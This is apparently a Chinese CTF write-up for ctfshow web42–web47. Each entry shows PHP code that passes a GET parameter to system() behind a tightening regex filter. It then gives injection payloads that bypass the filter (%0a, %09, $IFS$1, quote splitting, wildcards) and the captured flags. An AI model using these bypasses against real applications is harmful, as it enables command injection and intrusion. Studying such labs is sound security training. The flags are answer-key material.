web42
代码分析:
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
>/dev/null 2>&1;这里是重定向
直接截断即可
截断方法 ; , && , %0a,||等等,有很多截断方法
payload:
?c=ls;
?c=ls%0a
?c=tac flag.php;
flag:
ctfshow{51f460e3-9382-4c18-bdcf-a95fc3421833}
web43
代码分析:
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
过滤了分号,直接用%0a就可
payload:
/?c=tac flag.php%0a
flag:
ctfshow{2d27f06d-bd87-4e70-ae21-31e67575b980}
web44
代码分析:
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
多过滤了一个flag,无伤大雅,直接引号绕过或者通配符绕过
payload:
/?c=tac fl*%0a
/?c=tac fl""ag.php%0a
flag:
ctfshow{2ddcefb8-0b23-4ec0-8426-b85d36191bd4}
web45
代码分析:
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
多过滤了一个空格,无伤大雅,$IFS$1绕过 %09绕过都行
payload:
/?c=tac%09fl*%0a
/?c=tac$IFS$1fl""ag.php%0a
flag:
ctfshow{4723d047-0424-4d94-965d-4eaf37775991}
web46
代码分析:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
多过滤了数字和$ * $IFS$1 和通配符用不了了
知识点:%09 %0a 不算数字是url编码,我一开始也是懵逼的
payload:
/?c=tac%09fl""ag.php%0a
flag:
ctfshow{f6210dde-d15e-43d8-9dfa-b5e133afc3c8}
web47
代码分析:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
过滤了几个前面没用过的函数,看来还有很多其他的解法哇,恰好咱的解法可以一直用
payload:
/?c=tac%09fl""ag.php%0a
flag:
ctfshow{13c4c6b0-2118-44bb-9c85-fabde174b2bd}